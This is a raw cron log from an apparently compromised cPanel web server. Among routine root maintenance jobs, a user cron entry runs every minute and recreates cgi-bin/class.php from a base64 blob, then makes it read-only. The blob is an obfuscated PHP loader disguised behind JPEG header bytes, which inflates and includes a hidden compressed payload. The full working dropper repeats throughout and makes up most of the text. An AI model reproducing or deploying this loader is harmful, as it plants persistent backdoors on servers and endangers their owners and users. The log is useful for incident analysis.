Sep  2 11:44:01 server CROND[31598]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:45:01 server CROND[31991]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:45:01 server CROND[31992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:45:01 server CROND[31995]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:45:01 server CROND[31998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:45:01 server CROND[31999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:45:01 server CROND[31997]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:45:01 server CROND[32000]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:46:01 server CROND[369]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:46:01 server CROND[370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:46:01 server CROND[368]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:47:01 server CROND[865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:47:01 server CROND[866]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:47:01 server CROND[868]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:48:01 server CROND[1343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:48:01 server CROND[1344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:48:01 server CROND[1345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:49:01 server CROND[1722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:49:01 server CROND[1723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:49:01 server CROND[1724]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:50:01 server CROND[2160]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:50:01 server CROND[2166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 11:50:01 server CROND[2170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 11:50:01 server CROND[2168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:50:01 server CROND[2169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:50:01 server CROND[2172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:50:01 server CROND[2171]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:50:01 server CROND[2167]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:50:01 server CROND[2175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:51:01 server CROND[3049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:51:01 server CROND[3048]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:51:01 server CROND[3050]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:52:01 server CROND[3520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:52:01 server CROND[3519]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:52:01 server CROND[3521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:53:01 server CROND[3902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:53:01 server CROND[3901]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:53:01 server CROND[3903]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:54:01 server CROND[4279]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:54:01 server CROND[4280]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:54:01 server CROND[4281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:55:01 server CROND[4652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 11:55:01 server CROND[4658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 11:55:01 server CROND[4661]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 11:55:01 server CROND[4662]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 11:55:01 server CROND[4664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 11:55:01 server CROND[4665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 11:55:01 server CROND[4660]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 11:56:01 server CROND[5493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
